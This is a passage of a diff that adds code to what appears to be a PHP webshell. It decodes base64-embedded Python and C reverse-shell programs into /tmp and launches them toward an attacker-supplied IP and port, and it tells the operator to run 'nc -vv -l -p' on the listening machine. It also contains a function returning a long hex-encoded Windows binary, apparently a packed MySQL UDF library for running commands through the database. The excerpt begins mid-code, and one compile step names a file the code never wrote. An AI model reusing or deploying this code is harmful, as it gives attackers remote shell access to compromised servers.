                '; + $perlpath = Exec_Run('which perl'); + $perlpath = $perlpath ? chop($perlpath) : 'perl'; + echo Exec_Run($perlpath.' /tmp/b4che10r_pl '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; + } + if($_POST['use'] == 'python') + { + $back_connect_py="IyAtKi0gY29kaW5nOnV0Zi04IC0qLQ0KIyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoiIiINCmJhY2sgY29ubmVjdCBweSB2ZXJzaW9uLG9ubHkgbGludXggaGF2ZS". + "BwdHkgbW9kdWxlDQoiIiINCmltcG9ydCBzeXMsb3Msc29ja2V0LHB0eQ0Kc2hlbGwgPSAiL2Jpbi9zaCINCmRlZiB1c2FnZShuYW1lKToNCiAgICBwcmludCAn". + "cHl0aG9uIGNvbm5lY3QgYmFja2Rvb3InDQogICAgcHJpbnQgJ3VzYWdlOiAlcyA8aXBfYWRkcj4gPHBvcnQ+JyAlIG5hbWUNCg0KZGVmIG1haW4oKToNCiAgIC". + "BpZiBsZW4oc3lzLmFyZ3YpICE9MzoNCiAgICAgICAgdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQogICAgICAgIHN5cy5leGl0KCkNCiAgICBzPXNvY2tldC5zb2NrZXQo". + "c29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KICAgIHRyeToNCiAgICAgICAgcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lzLmFyZ3ZbMl". + "0pKSkNCiAgICAgICAgcHJpbnQgJ2Nvbm5lY3Qgb2snDQogICAgZXhjZXB0Og0KICAgICAgICBwcmludCAnY29ubmVjdCBmYWlsZCcNCiAgICAgICAgc3lzLmV4". + "aXQoKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKQ0KICAgIG". + "dsb2JhbCBzaGVsbA0KICAgIG9zLnVuc2V0ZW52KCdISVNURklMRScpDQogICAgb3MudW5zZXRlbnYoJ0hJU1RGSUxFU0laRScpDQogICAgcHR5LnNwYXduKHNo". + "ZWxsKQ0KICAgIHMuY2xvc2UoKQ0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIG1haW4oKQ=="; + echo File_Write('/tmp/b4che10r_py',base64_decode($back_connect_py),'wb') ? 'create /tmp/b4che10r_py success
                ' : 'create /tmp/b4che10r_py faild
                '; + $pypath = Exec_Run('which python'); + $pypath = $pypath ? chop($pypath) : 'python'; + echo Exec_Run($pypath.' /tmp/b4che10r_py '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command faild' : 'execute command successfully'; + } + + if($_POST['use'] == 'c') + { + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + echo File_Write('/tmp/b4che10r_bc.c',base64_decode($back_connect_c),'wb') ? 'create /tmp/b4che10r_bc.c success
                ' : 'create /tmp/b4che10r_bc.c faild
                '; + $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/b4che10r_bc.c'); + echo Exec_Run('/tmp/b4che10r_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'execute command successfully' : 'execute command faild'; + } + echo '
                local machine need run (nc -vv -l -p '.$_POST['yourport'].')'; + } + echo ''; + return true; +} + +//mysql udf +function get_code() { + return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5F490323FD80C298EDDBEBDD35A7432040974C5487CE801521C97B3B345FE3A6C59882AF4471A183147BD2002BB8916359DDE6F2CF64580D9CCB97F74170FBF00D1E8E369E652D7D8C3AD2DDC000CBF0E94AE6DB4BE6E81344D50C28D8314670B2D826B25D5165C50CCA2B5AFD483C05E08F05D4B053B6C377540FC0EBCC8D18B851FB082B8F7855082FCC9C6057EB581E69E741429F0003506BE67B324205C595D12AF788432611654562D750DD0C2BB653A29BDB9E06157A758888D8459A619694899ED2C1D0C059E0684B686FB2C805184FD331B23B1CF05F77491C9C15DD4273C602621F62BC1D1F847FD340BDB0582F6288038AF03ECF1D728176B2624FE853D6B2815CC074DBB7B10D410A6FEF65D8A13C645EA3004516377CF60DF678845EBEB4821083BC202EB35D6852E09971B209909669F08CD2DF0EC668909050706F514EB0E296A403C0A69BF1FD6A05FA53A7959EB413D74218519637405404A0C0FBB641B0CF6C099EB250BB7C8F220AFC0ECC908EBE0070E19B8F5C6DB741BE37F177C1AC073115883D2D6E2C30D9FF7DA698BFAC90B1FDEE0B50577DC83E700B27D09161B2D08FD1B2AFCAA3AC0B6FBC60BC77509E40060B733D6DEADD55E614A7F0619EE0F765B5DFDF4995250578AC009C476409C5FDB6E372AC48B66C33007C017112CCBF6DF063E39677E03035DD440F8F847D75CF78818EBB5502B0C027F02A51AEE9B03611880393075A90A009BBBEB24400FC601301A98D825DEFEB1B6F4935DFCF6C3D226F6C716CF5A8386068A2D5C0F0A2BEB47369A970902740B20C1E475E06035B6ED2B75E402F4180C7884BDDB61A91B201EF0C41011CD7C37B703EA1402E45015342C9001D94C3E3104306F6B97DA893E7441058B7EFBBB0B97688E3B78FFDD034347C8502DFC54A443DE9D7E328DE9516EA164CF3B1759984FDB962DD802C7155802F4F860A50AC977AC79A5D7193808FBF97DF729B3456313F9E86DEC99D334B75BE01830031706216D30D1354DA4ACE11B7440C6126F55424F490478DC11BA6D6C74898A02FF0EB6300BB90233E098006C4E9468254A90D68C71D8A3AE4A83B557AFA9E0B06AEA7E21B618B714AB63DB43B9833E0D07207FE3B5B628B5908B5CE81A4BE6775DD73831263C1C35100FBE065746CDE7EC505F363FC34BE26D6C3C72BE9F580081008DAE0673520C083B4163B3A177D951FC1C661D6F8DE0B474E8500F41CC5204B4702D700B30027114E0550798688478EAA3365283702294BC5DF20D50600F6E85C0750F6C60A1FBCF373E5333DB391D15B4282D5DC3431B267E44D8B8013D0E74FB768AED8D700C5540785BFF36FFD70810E0916D800A6AFF7604626BC75EEAD59C14433B487CCED915DB812D1BB81D785DF6568CFDDB41DC7078158184FFD6077415CA2083644457D42DB983867CBE100A06FE2B8F3C763BD13474230774741B647413A8AE012344D398367B845CC52BDCFF007CC45A2067C106D76A07845D1003CA44F85083EAC716DE3C856C6C3407753E576A181F3B1A1F3C8BF8D4336A113542FB8D06BC59078C08005957750ADA0E78B31F78893EEB067A1D84D9607F865F281A805E5D60FF57605AA8B11584CC40A48B4F485801B7B87501172BC5D86E2508B00006B41217B770A0FBACC70505A48BBDA118AD96AFC18DB107B88858F0E16FC47314B5042B500C81FAB27207DB210C6FBB14EBE8EC321C556E34D5880C2E6A41DEF22BA3DF60A36A5AAFC2FC57C1EE7F37AA817FCE8B7AFC69C904D24B448D8C8E1A35C50144695D695685463BF80C13F6C1012E757FFDF4B46FFAED3F495F0B0C3BCF76038E8B4C13043B03BFF84D4BF4486783F920731CBF2CD3EFBFFB5FE88D4C01C4D7217CB044FE09752B752139EB2483C1EEC15CB0E01E2D21BCB0C4124AAEF174240679F04D42ADB519DB55890A040803630DDAD6FEBB088C8BFBC1FF044F83FF3F7B865F2F5167A8DBBDE197ECC4422BE20562AEA711A188F8495ADB5AF7E6A464760589F3CA411BFB40ED56E09F3E3BFA76028ABF746B2E9101DB4C69BE51BDBA16B9E491EAD22154111E96900F0BBDD221944C72B66DB152BF49BE4A0B04658BD6CA0811910EECB610F9D40939B68900B2F9295B73DD1B0B26892F0E05087FFB652B974A638A4C0704EF20884D0FFEC1FDEBE2BB880B7325807D0F55BB888BCFD3EBD81A25DB7609190DECB109B10BC436592924DC4FE019D821B8672559040F9D84B7F0DFC0F009388B54D0891A895C13FCFF086BAA0FB348FA4EB09CDFA6AFFFACEE0D0DA80EC1E10F03480CBB03B159E9581653513A1F32068B3D081C0950080E3940DDCDDE0D31A4886C570FFE48431C7BC39F0A481080794313836004FE118378D65AA61D106C5310785A124642882D0910C9F48D72F5388B15F21430C1C2B146DA282BC892110AD307BE708D48145170411C6D428DF767FA85B43B05223518BFEEEFD81496B88905ACEB0324A3AC8935B0493138532A6627F7AE142F68578D3C822C1B8E0ED3C6481776F0176A4934000B6FD57D0E56D3EE83EDFFEE0BE0B899EB1026BE33F6D3E80EC62D3E173049AC0F3BDF7FBF5D58E20873E14BE13B232B23FE0BCF75DDAE718B0B24143B9A1872E707756D26E4FB798BDA3BD8261505EBE6740BD7A019AC24C2837B3C3BD72A68891337EBED2681397B870D1B2FEEDBC8DC7646270B7B85DB90530E61DBE2F6BC595B1089FA43A8386C75EF6E6B071BE91406891DA5148B886F0BB016FAFEFC2D8B8C90C4B6B387FDAD904488378B127011557DA1A156DD1F000E440BD68B563077BF0B75178B91841CFF45FC04BF35EBA6FFFE23390BD774E98B97CA33FF5C5A741B87584D764C57CEE68DBA12C166EC645F9DBAED0AFD7C05D1E147EB752054F9430A2BE956EFEA7FF17BC1FE044EDE3F7EF83AC9DCB85E3BF79B0D0124617421206D207D2B11A27C383AEEFEB69CD3F3EC235C88448903FE0F75EA08B181F48E7B210BEB31172B5CBBC56895A1322119293673148215982C85220AA6D76593C07A04F80095AF3F4735D77A089084C5A97CF10348AD6D420CA522C264A974B32C06FE0B7D29C499C636576A0B331162BFB0CE6EBB64978C093B0A8F097CAEEB2FEF437AC0280D8D4EB6097B04B15C8F74B1BCAD16BEEE09376A2EB7F4AEF70B890A8903FCB2790DBFED56AE03D122011232FC9F8B34126FB70E218D790F3E751AA9B0A011A92BDC4B3BA406A49772C16B119C8D420408A1C41769A10220A489C09A6E6D44B6305F89507250D401E924E15797903B319841A10B889CC0930BF8653DB868C4411B45CBD81233305C81335C89834517F04610742A1B20655783363A63198CB014BDA5461C586460B47CB1856EAD4E24C5897E060562244A196A41B98BC36E74F1E051DF3771C84108343B5A2DDCC54FE043C331B63E6E3769C0815AFB3082C3026CB745EA40080204DE4A1E88D0AD5BFB85C1E7DF790C47A68686BDE88B3B08D13768ED4D2728B28D97101342773C47834BDB8D477748F283887EF4368379778D88FC06C740FCF0420EEFD0E77E01C24804C780E810140517EA0D7E3B48F09676C78B744F0CEDADFBC405F8FC015F2689AC8D4A0C087FB8BD6C8F41649E4442BC9EE38A46438A6F75D78DC80B84C07A884E43A30978047050608CBA2CCB687EA5266189BDC3ABA031BEAB17B614AB5ECCB80002BD063BC67D07EE07DA5BA319DB134451590D8DB535C5949808211256F4A0FA648B9018E21A33C9B874EBB7193D601519890476C020D46CEFC0D50884887CEA1CBA187C8A05A09A5BFE1134B5E055539F8B04865274C3F02F5E586F0A20C220418D82787CD1AD76BBA8A29BAC80448E8C458D3746DD05E97ADEE9B96A61A796EDDF72175F6877102B56F8C03B75466E436659C37CD780A065A52718F8141E1E722A5B76E9225120592139250384205934F449A884E2948073382CC6A1FE435607F644810401741D57A86F7264B348442A7448A3FCC6CF50E245D2C775C00ADB83F4E16C668AE85C39023A3E046A9095C4166A02CBDD6BC416264B1F593BC71C196610672B59CD696F29DA19821C24DFFF1D0A05DCDB4783A383E61FF3EF8A0635FAC7A40CF68064880400C60851AE70BF7F5F597D0FC1768182434EA883C3A8FC63B4B42A197808CA6681660CF7FB3360DBD2525E06900802042A635FC5A8648605C2F6FD1FE5EA460D409C6C48C5F7D8595E1B4B5F015E991B2E0C8957FBF609705C8080F9D53766A908E0B36F1368317B907E2657503BBFADE0401BD00E8B8074DC0DB4EB0E24FD07EB072483CBFF30351A9B81EF8B5FF6F5C154F85CC185B5ACF1279788D15A63F90E7A593917EDF118D97E74A1BBFFCDA30AA57A745FF6401D32AAC18561ECA218591A8517DFBB806DC11830AF01750F505222BC80D608851D37C597B58E4A50FF028B1A7536B654EC020BF841CEB04FF44A9DE370EC463B737C8CB1423914D98487B70160C37402FB5B36E42806FDA08A7477A50538839E890BA9639456E1A05FD68E48A06017858ED552908E4C6B80C4EAAF3109BB47752053951FDA5B57F7079E8D4614759F0658A54A340BA518EB56044261DBB65E097E123E0704C53F7CD5E1EE02115B5F5B5E95DD0001C3A150DC9BBA831B0B3F6116D080660DEE6118962668025B6C02664959538926F4317D0FAF7D10012334068B5B078BDF3C2E9A45D7CE0AA8AE74157E457AFB96A27C4014A78B7781E10868B1ABEDE67429191174229580AB1616697212F863F186A53FA9495C297E393EF62BDF017D321EBC6CD046147246CD63DA56A250177A4E74D391EDADDDBBD2F76B402BFAEB42FBE3F66B1935744701982BD83F1A608976723EB00729D10F234482252450E9D42E4AE0BE169FA44BA586D8080CF1A7264385F0385DD08157106F6A23B633A465C72B7483E7FE545B3CCF56C179148A0141CEF06CA387400E75F1B3ED814975AA01605E2CDD0623955CE88AFC2B32B9A7BA51C724A95E1306B6F57EA30719EBCD8D41FF559CC309824C32C9FEFDFCD126301C8687398FA4DF221A7A0BD2F86E8A073C61051BB4F4741A3C727C3CCC22BFD1D675FE0192EB20C99601EB08B909786157731209405A8A1D473AC31DB46DB6B5E33BD307DB60BEF652DB85C016547F3E601A2B74450475DBD6F21974360E61484CAC1F39FF2C98AD6108A328FC83C920EBB72F7D2063148E10EBA22240757D0BA54D6F0940EB982C7573E993E6006EA0B7FC0F0281CE0DEB82B8BA7D5C782AC8860BC834DB656274BE8BB60DCB2E070B42067540F6C5B6B7D8B7C73B80CD401E63F8752E5FF89315FE0A37E6FFBF9B16175DECD521CE84163A741DD9621B8DD20B418068A4D71362C3242210EA4C917EA9543C7DC4103BCB7D701A2C68DB12B73A896A89588018040859334A6C021C82005196FB871825A0590F8E9D7855AE209F1F3BC374377521509175ACB30D1BB16D14501D16E97FEBC4EBBA3CB1EB446A38C1E602C23268066B62600E56063A65306C327A7815DE4B1B96B3273CFB384F108C5F58DB56B604020CBF1F041C7EA1819D355975CC00D885F6E36DFF118DA424AB8D6406075AD5AA838AE5531FE0FEC7780B3708F7C2DB138A0A4238D974D18437EACF9683511275ED0BD857FBE310281E4BB5560893BFE5F8F18D6E5D33CB0365F983F1FFF0CF33BF3F4A3770C204EEF3751C250674D37F51D83AC508C1B475C45E357E0B5A808C8B42FC38D867A67BD33713EF38DC742717E7C1E81012157BD66E9ADC06D4EB962DB142FE377A38279D06FDFC0494C36B20EE5002FFD0371404E634449EEF32AC0E0400F3C3F32CC015505431F5DF64B1025F0E57299A11FC45438A3999947511064E18C1096C987394302FFE36C50C00E714892290881DC2F5115EDF753C8690D7C58C568D71E2EE112F52F07213AC9A83EE04883CDFC7349073ED5E972018AD20CF57A1102824851B7B7F8D5BC50BA35FC3816A9480BC60711B88116A0DEC08B25DB038E194D7730D70F6B55660C6FB6A192A6339BBB1C935A4F6C08490546A74E2A0D18E50ED8BF06B7875239F5A93565B8490A04018A50A8CFD37333859109C0462BF193868305333528CA116131E782F690E182FD118D1D80D41C3BB505244A06D10F00653BE5660368B9464F20D1CD94730B00D3F8A26684BC9911588EB227536D99B1059ACF545305BC392D09113D0022FDB610D506E746CF12499906D19450D283009999009384098EC9D9044503DEE10560B0EECA4FC00CA5E4F16D4E81A48506896046AD2546CF4691B8DA62874879FD9942100DE784F9B862947731E8085F74FECDD0EFF8BC646050AA127E253F4A8DF24051FEBDE784B518CBAC46620EA001F5B9B86281ABBC6388DD98DDD02AE1A81EA7D0851F8BAB787897C79E3677D56BE4C84983D04CB930D83839A1F6B556AC082C1731C806008F6D6A55960408B0E882481C1806DF5CC31E06D4D7CB76E8B130D1588092ACE4C3B04BCB1508BAAF926388A03BE126DB4BE32527572AABC04ACA41A4123404AFD37E0487D8B0989088A0B88488F05BE558B0AFC3BF77CB485016FF04E5B23333C81FFFDAD50BA3C754D290E2F75056AF658EB099B09BA92C348C397F50DC96E1BD0B84AFF7A175770340A9D800C5B0A25C1068D1B9906804BA40FEFB6700D540A0A700405804383FB6130F2E1037C97B89480B40638B491DEBE7B5E375778A8F0056E4673218D70837BFC00FB7DC26DAC0B7C2083C79683C324C8D00CBA2072E2854824720F338825B85473C487A01D94885B155434811237F8D58DCC6B8A069ED218A996783C3D74A756FA8DC26D4B140AC3E8F9BD581D3F9EF1C63B3BF3318E74410955BF1D267B41381F74395583D8ED8F348BE85945803F49225534521DBBCC54C02E579D4F6C67C4BEFD9A5903FD3775C95DFF84C28934C768BF1D0B891EAE9484015BA2BBB25983BDBE8A98994FC1A75456530DC0A15A84E38FA2848BFE3818747463A5FA7DA307FC5053539F37B4040B0CDB05C90488D486186DD8A